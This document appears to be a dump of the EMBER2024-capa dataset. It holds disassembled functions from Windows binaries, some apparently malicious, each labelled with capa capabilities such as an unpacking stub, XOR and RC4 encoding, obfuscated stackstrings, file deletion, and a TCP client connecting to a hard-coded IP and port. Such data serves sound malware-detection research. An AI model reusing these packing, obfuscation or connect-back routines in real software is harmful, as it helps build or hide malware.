joyce8/EMBER2024-capa huggingface dataset:
Function at 0x613528
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push dword [ebp + 0x18]
xor edi, edi
xor esi, esi
push dword [ebp + 0x1c]
inc edi
mov dword [ebp - 8], esi
push edi
call fcn.0061dbbc
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], esi
jne 0x613555
xor eax, eax
jmp 0x6136f9
mov eax, dword [ebp - 4]
mov ecx, SysReAllocString
push 0x40
push 0x4a4eae
mov dword [eax + 0x2a4], ecx
mov eax, dword [ebp - 4]
mov dword [eax + 0x2a8], ecx
mov eax, dword [ebp - 4]
mov dword [eax + 0x2ac], esi
mov eax, dword [ebp - 4]
push dword [ebp - 4]
mov dword [eax + 0x2b0], esi
call fcn.0060fc0b
push esi
push eax
call fcn.004a4ec0
add esp, 0x14
test eax, eax
je 0x6135a2
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp - 4]
call fcn.0061dd77
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.0060fbed
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.00611b0c
add esp, 0x28
test eax, eax
jne 0x6135d9
mov dword [ebp - 8], edi
cmp dword [ebp - 8], esi
jne 0x613615
mov eax, dword [ebp - 4]
mov dword [eax + 0xb4], 0x2000
mov eax, dword [ebp - 4]
push dword [eax + 0xb4]
push dword [ebp - 4]
call fcn.0061dd48
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xb0], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0xb0], esi
jne 0x613615
mov dword [ebp - 8], edi
mov eax, dword [ebp - 4]
mov dword [eax + 0x98], 0x611d10
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov dword [eax + 0x9c], fcn.00611d5f
mov eax, dword [ebp - 4]
mov dword [eax + 0xa0], ecx
cmp dword [ebp - 8], esi
jne 0x613695
mov eax, dword [ebp - 4]
push 0x38
add eax, 0x78
push str.1.2.5
push eax
call fcn.0062b58b
add esp, 0xc
cmp eax, 0xfffffffa
je 0x61367e
cmp eax, 0xfffffffc
je 0x613677
cmp eax, 0xfffffffe
je 0x613670
test eax, eax
je 0x613690
push str.Unknown_zlib_error
jmp 0x613683
push str.zlib_stream_error
jmp 0x613683
push str.zlib_memory_error
jmp 0x613683
push str.zlib_version_error
push dword [ebp - 4]
call fcn.0060fc27
pop ecx
mov dword [ebp - 8], edi
pop ecx
cmp dword [ebp - 8], esi
je 0x6136c5
mov eax, dword [ebp - 4]
push dword [eax + 0xb0]
push dword [ebp - 4]
call fcn.0061dc89
push dword [ebp + 0x18]
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
push dword [ebp - 4]
mov dword [eax + 0xb0], esi
call fcn.0061dc43
add esp, 0x14
jmp 0x61354e
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
push esi
push esi
mov eax, dword [eax + 0xb0]
mov dword [ecx + 0x84], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
push dword [ebp - 4]
mov eax, dword [eax + 0xb4]
mov dword [ecx + 0x88], eax
call fcn.00619751
mov eax, dword [ebp - 4]
add esp, 0xc
pop edi
pop esi
leave
ret
Function at 0x629aa3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 0x2c]
mov edx, dword [edi + 0x74]
mov dword [ebp - 0xc], ebx
mov eax, dword [edi + 0x2c]
mov esi, dword [edi + 0x3c]
add eax, 0xfffffefa
sub esi, dword [edi + 0x6c]
add eax, ebx
sub esi, edx
mov dword [ebp - 8], esi
cmp dword [edi + 0x6c], eax
jb 0x629b4c
mov ecx, dword [edi + 0x38]
push ebx
lea eax, [ecx + ebx]
push eax
push ecx
call fcn.004a1e00
mov ecx, dword [edi + 0x4c]
add esp, 0xc
mov eax, dword [edi + 0x44]
mov esi, ecx
sub dword [edi + 0x70], ebx
sub dword [edi + 0x6c], ebx
sub dword [edi + 0x5c], ebx
mov dword [ebp - 4], ecx
lea edi, [eax + ecx*2]
lea edi, [edi - 2]
movzx ecx, bx
movzx eax, word [edi]
mov edx, eax
mov dword [ebp - 4], ecx
sub eax, ecx
xor ecx, ecx
cmp edx, ebx
movzx eax, ax
cmovae ecx, eax
mov word [edi], cx
sub esi, 1
jne 0x629afa
mov edi, dword [ebp + 8]
mov esi, ebx
mov eax, dword [edi + 0x40]
lea edi, [eax + ebx*2]
lea edi, [edi - 2]
xor ecx, ecx
movzx eax, word [edi]
mov edx, eax
sub eax, dword [ebp - 4]
cmp edx, ebx
movzx eax, ax
cmovae ecx, eax
mov word [edi], cx
sub esi, 1
jne 0x629b27
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
add esi, ebx
mov ebx, dword [edi]
mov eax, dword [ebx + 4]
test eax, eax
je 0x629c70
mov edx, dword [edi + 0x6c]
mov ecx, dword [edi + 0x74]
add edx, ecx
add edx, dword [edi + 0x38]
cmp eax, esi
mov dword [ebp - 4], edx
cmovbe esi, eax
test esi, esi
je 0x629bba
sub eax, esi
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x629b8d
push esi
push dword [ebx]
push dword [ebx + 0x30]
call fcn.0062d727
jmp 0x629b9d
cmp eax, 2
jne 0x629ba6
push esi
push dword [ebx]
push dword [ebx + 0x30]
call fcn.0062ba13
mov edx, dword [ebp - 4]
add esp, 0xc
mov dword [ebx + 0x30], eax
push esi
push dword [ebx]
push edx
call fcn.004a1e00
add dword [ebx], esi
add esp, 0xc
add dword [ebx + 8], esi
mov ecx, dword [edi + 0x74]
lea edx, [ecx + esi]
mov dword [ebp - 8], edx
mov dword [edi + 0x74], edx
cmp edx, 3
jb 0x629bea
mov edx, dword [edi + 0x6c]
mov eax, dword [edi + 0x38]
mov ecx, dword [edi + 0x58]
movzx esi, byte [edx + eax]
mov dword [edi + 0x48], esi
movzx eax, byte [edx + eax + 1]
mov edx, dword [ebp - 8]
shl esi, cl
xor esi, eax
and esi, dword [edi + 0x54]
mov dword [edi + 0x48], esi
cmp edx, 0x106
jae 0x629c02
mov eax, dword [edi]
cmp dword [eax + 4], 0
je 0x629c02
mov ebx, dword [ebp - 0xc]
jmp 0x629ab8
mov ecx, dword [edi + 0x16c0]
mov esi, dword [edi + 0x3c]
cmp ecx, esi
jae 0x629c70
mov ebx, dword [edi + 0x6c]
add ebx, edx
cmp ecx, ebx
jae 0x629c40
mov eax, 0x102
sub esi, ebx
cmp esi, eax
cmova esi, eax
mov eax, dword [edi + 0x38]
push esi
add eax, ebx
push 0
push eax
call fcn.004a2900
lea eax, [esi + ebx]
add esp, 0xc
mov dword [edi + 0x16c0], eax
jmp 0x629c70
lea eax, [ebx + 0x102]
cmp ecx, eax
jae 0x629c70
sub ebx, ecx
sub esi, ecx
lea eax, [ebx + 0x102]
cmp eax, esi
cmovbe esi, eax
mov eax, dword [edi + 0x38]
push esi
add eax, ecx
push 0
push eax
call fcn.004a2900
add esp, 0xc
add dword [edi + 0x16c0], esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x62ba13
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x62ba20
xor eax, eax
pop ebp
ret
pop ebp
jmp fcn.0062bb17

Function at 0x4d0880
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x4a1015
lea edi, [esi - 0xa0015]
push edi
or ebp, 0xffffffff
jmp 0x4d08a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4d08a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d0898
mov eax, 1
add ebx, ebx
jne 0x4d08bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4d08cc
jne 0x4d08dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d08dc
dec eax
add ebx, ebx
jne 0x4d08d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4d08b0
xor ecx, ecx
sub eax, 3
jb 0x4d08f4
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4d0966
sar eax, 1
mov ebp, eax
jmp 0x4d08ff
add ebx, ebx
jne 0x4d08ff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4d090c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4d0930
inc ecx
add ebx, ebx
jne 0x4d091c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4d0911
jne 0x4d092d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4d0911
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4d0950
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4d0941
jmp 0x4d089e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4d0950
add edi, ecx
jmp 0x4d089e
pop esi
mov edi, esi
mov ecx, 0xb5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4d096e
cmp byte [edi], 5
jne 0x4d096e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4d0973
lea edi, [esi + 0xce000]
mov eax, dword [edi]
or eax, eax
je 0x4d09eb
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd0c58]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd0c94]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4d09a0
mov ecx, edi
jns 0x4d09cf
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd0c98]
or eax, eax
je 0x4d09e5
mov dword [ebx], eax
add ebx, 4
jmp 0x4d09bd
call dword [esi + 0xd0c9c]
popal
jmp 0x40123c

Function at 0x68e1ea
Capabilities:
Encode data using xor

Disassembly:
adc edi, ebx
rcl dword [ecx - 0x3d]
nop
jb 0x68e22b
push cs
cmpsd dword [esi], dword es:[edi]
pushal
test al, 0xdf
invalid
invalid

Function at 0x76f6aa
Capabilities:
Encode data using xor

Disassembly:
dec ecx
mov ecx, 0x1e66179a
mov esp, 0x299b46db
jbe 0x76f715
invalid
cmpsb byte [esi], byte es:[edi]
loope 0x76f694
mov esi, 0xa9ec2755
salc
push esi
sti
add al, bl
invalid
invalid
Function at 0x40430c
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004031ec
mov eax, dword [ebp - 8]
call fcn.004031ec
xor eax, eax
push ebp
push 0x40449d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004031fc
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
movzx eax, bx
cmp eax, 0xffffffff
je 0x404482
cmp eax, 0xffff
je 0x404482
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 8]
call fcn.004031fc
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
movzx eax, si
inc eax
je 0x4043ab
movzx eax, si
cmp eax, 0xffff
jne 0x4043b9
movzx eax, bx
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x404482
test edi, edi
je 0x404410
mov eax, dword [0x4080d8]
push eax
mov ecx, 0xffff
mov edx, 0x300
mov eax, ebx
call fcn.004041f4
mov edi, eax
test edi, edi
jne 0x4043ff
movzx eax, bx
push eax
call sub.kernel32.dll_CloseHandle_1
movzx eax, si
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
call fcn.004031fc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x404482
push 0
push 0
push 0
movzx eax, bx
push eax
call sub.kernel32.dll_SetFilePointer_1
jmp 0x404415
mov edi, pe_overlay
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push 0x4094bc
movzx eax, bx
push eax
call sub.kernel32.dll_ReadFile_1
test eax, eax
je 0x404447
push 0
lea eax, [ebp - 0x14]
push eax
push edi
push 0x4094bc
movzx eax, si
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x404469
movzx eax, bx
push eax
call sub.kernel32.dll_CloseHandle_1
movzx eax, si
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
call fcn.004031fc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x404482
movzx eax, si
push eax
call sub.kernel32.dll_CloseHandle_1
movzx eax, bx
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4044a4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402eec
ret
Function at 0x4049dc
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004031ec
mov eax, dword [ebp - 8]
call fcn.004031ec
xor eax, eax
push ebp
push 0x404b52
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004031fc
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
movzx esi, bx
cmp esi, 0xffffffff
je 0x404a40
cmp esi, 0xffff
jne 0x404a4b
push esi
call sub.kernel32.dll_CloseHandle_1
jmp 0x404b37
mov eax, dword [0x4080d8]
push eax
mov ecx, 0xffff
mov edx, 0x300
mov eax, ebx
call fcn.004041f4
test eax, eax
jne 0x404a71
push esi
call sub.kernel32.dll_CloseHandle_1
jmp 0x404b37
push 0
push 0
push eax
push esi
call sub.kernel32.dll_SetFilePointer_1
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 8]
call fcn.004031fc
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
movzx eax, si
cmp eax, 0xffffffff
je 0x404aad
cmp eax, 0xffff
jne 0x404ab8
movzx eax, bx
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x404b37
push 0
lea eax, [ebp - 0x10]
push eax
push 0xffff
push 0x4094bc
movzx edi, bx
push edi
call sub.kernel32.dll_ReadFile_1
test eax, eax
je 0x404af1
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 0x4094bc
movzx eax, si
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x404b10
push edi
call sub.kernel32.dll_CloseHandle_1
movzx eax, si
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
call fcn.004031fc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x404b37
cmp dword [ebp - 0x10], 0
je 0x404b1e
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x404ab8
movzx eax, bx
push eax
call sub.kernel32.dll_CloseHandle_1
movzx eax, si
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404b59
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402eec
ret
Function at 0x404c24
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
push 0
push 0
push 0
movzx esi, bx
push esi
call sub.kernel32.dll_SetFilePointer_1
mov dword [ebp - 8], eax
xor eax, eax
mov dword [edi], eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax], edx
mov eax, dword [ebp + 8]
call fcn.00402ec8
mov eax, dword [0x4080d4]
push eax
mov ecx, 0x300
xor edx, edx
mov eax, ebx
call fcn.004041f4
test eax, eax
je 0x404c77
mov dword [edi], 0xffffffff
mov eax, dword [0x4080d8]
push eax
mov ecx, 0xffff
mov edx, 0x300
mov eax, ebx
call fcn.004041f4
test eax, eax
jne 0x404c9c
mov eax, dword [ebp + 8]
call fcn.00402ec8
jmp 0x404cb4
push 0
push 0
sub eax, 5
push eax
push esi
call sub.kernel32.dll_SetFilePointer_1
mov edx, dword [ebp + 8]
mov eax, ebx
call fcn.004044b0
push 0
lea eax, [ebp - 0xc]
push eax
push 1
push 0x4094bc
push esi
call sub.kernel32.dll_ReadFile_1
mov al, byte [0x4094bc]
cmp al, byte [0x4080a8]
jne 0x404cdd
mov eax, dword [ebp - 4]
mov dword [eax], 0xffffffff
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push esi
call sub.kernel32.dll_SetFilePointer_1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x404cf4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004031ec
xor eax, eax
push ebp
push 0x404da3
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
lea eax, [ebp - 0x10]
mov dl, byte [0x4080a8]
call fcn.00402fdc
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.00403040
mov eax, dword [ebp - 4]
call fcn.004031fc
push eax
call sub.kernel32.dll_lstrlenA_1
mov ebx, eax
test bl, bl
jbe 0x404d82
mov byte [ebp - 5], 1
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax - 1]
xor al, byte [0x4080a8]
mov byte [ebp - 6], al
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 6]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x404d85
inc byte [ebp - 5]
dec bl
jne 0x404d50
or edi, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404daa
lea eax, [ebp - 0x10]
call fcn.00402ec8
lea eax, [ebp - 4]
call fcn.00402ec8
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406058], 1
mov dword [0x406054], 1
mov dword [0x406050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401633
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2338
call fcn.00402b60
sub esp, eax
mov dword [ebp - 0x231a], 0x7771736b
mov dword [ebp - 0x2316], 0x42766e61
mov dword [ebp - 0x2312], 0x41765864
mov dword [ebp - 0x230e], 0x55656450
mov dword [ebp - 0x230a], 0x7a6f5546
mov dword [ebp - 0x2306], 0x44727677
mov dword [ebp - 0x2302], 0x43745957
mov dword [ebp - 0x22fe], 0x71675143
mov dword [ebp - 0x22fa], 0x56785372
mov dword [ebp - 0x22f6], 0x4f57446a
mov dword [ebp - 0x22f2], 0x68676a51
mov dword [ebp - 0x22ee], 0x68786345
mov dword [ebp - 0x22ea], 0x4356
lea eax, [ebp - 0x22e6]
mov edx, 0x22da
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x231a]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
leave
ret

Function at 0x401754
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x4017b9
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4017b9
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._mNJtLMmO
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401770
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4018b7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4018f2
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._mNJtLMmO
mov dword [esp], str.192.168.36.145
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401917
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._mNJtLMmO
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x912
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401988
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._mNJtLMmO
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401e30
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401e90
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40606c]
test esi, esi
jle 0x401fb0
mov eax, dword [0x406070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401ec4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401f47
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401eb0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401fd7
mov eax, dword [0x406070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x406070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401fb7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401f40
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401f50
add dword [0x40606c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401f40
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x401ece
mov eax, dword [0x406070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop
Function at 0x402500
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406080]
sub esp, 4
test ebx, ebx
je 0x402555
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x40254e
test eax, eax
jne 0x40254e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402530
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402890
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4028b5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4028c0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4028b5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402908
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4028fe
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40290a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x4028f0
xor eax, eax
pop ebx
pop esi
ret